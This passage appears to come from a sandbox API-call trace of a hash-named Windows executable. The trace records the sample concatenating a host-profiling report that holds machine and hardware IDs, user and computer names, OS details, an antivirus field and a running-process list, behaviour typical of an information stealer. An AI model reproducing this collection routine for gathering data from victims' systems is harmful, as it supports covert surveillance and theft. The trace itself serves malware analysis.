Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe"
[0054.828] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe ["
[0054.828] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da48
[0054.828] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671500
[0054.828] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9c8
[0054.828] GetLastError () returned 0x7a
[0054.828] SetLastError (dwErrCode=0x7a)
[0054.828] GetLastError () returned 0x7a
[0054.828] SetLastError (dwErrCode=0x7a)
[0054.828] GetLastError () returned 0x7a
[0054.828] SetLastError (dwErrCode=0x7a)
[0054.828] GetLastError () returned 0x7a
[0054.828] SetLastError (dwErrCode=0x7a)
[0054.828] GetLastError () returned 0x7a
[0054.828] SetLastError (dwErrCode=0x7a)
[0054.828] GetLastError () returned 0x7a
[0054.828] SetLastError (dwErrCode=0x7a)
[0054.828] GetLastError () returned 0x7a
[0054.829] SetLastError (dwErrCode=0x7a)
[0054.829] GetLastError () returned 0x7a
[0054.829] SetLastError (dwErrCode=0x7a)
[0054.829] GetLastError () returned 0x7a
[0054.829] SetLastError (dwErrCode=0x7a)
[0054.829] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67db18
[0054.829] GetLastError () returned 0x7a
[0054.829] SetLastError (dwErrCode=0x7a)
[0054.829] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.829] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9c8 | out: hHeap=0x670000) returned 1
[0054.829] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.829] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da48 | out: hHeap=0x670000) returned 1
[0054.829] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [", lpString2="904" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904"
[0054.831] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n"
[0054.831] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x210, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0054.831] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- "
[0054.831] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- ", lpString2="svchost.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe"
[0054.831] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe ["
[0054.832] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da38
[0054.832] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671500
[0054.832] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da68
[0054.832] GetLastError () returned 0x7a
[0054.832] SetLastError (dwErrCode=0x7a)
[0054.832] GetLastError () returned 0x7a
[0054.832] SetLastError (dwErrCode=0x7a)
[0054.832] GetLastError () returned 0x7a
[0054.832] SetLastError (dwErrCode=0x7a)
[0054.832] GetLastError () returned 0x7a
[0054.832] SetLastError (dwErrCode=0x7a)
[0054.832] GetLastError () returned 0x7a
[0054.832] SetLastError (dwErrCode=0x7a)
[0054.832] GetLastError () returned 0x7a
[0054.832] SetLastError (dwErrCode=0x7a)
[0054.832] GetLastError () returned 0x7a
[0054.833] SetLastError (dwErrCode=0x7a)
[0054.833] GetLastError () returned 0x7a
[0054.833] SetLastError (dwErrCode=0x7a)
[0054.833] GetLastError () returned 0x7a
[0054.833] SetLastError (dwErrCode=0x7a)
[0054.833] GetLastError () returned 0x7a
[0054.833] SetLastError (dwErrCode=0x7a)
[0054.833] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.833] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da68 | out: hHeap=0x670000) returned 1
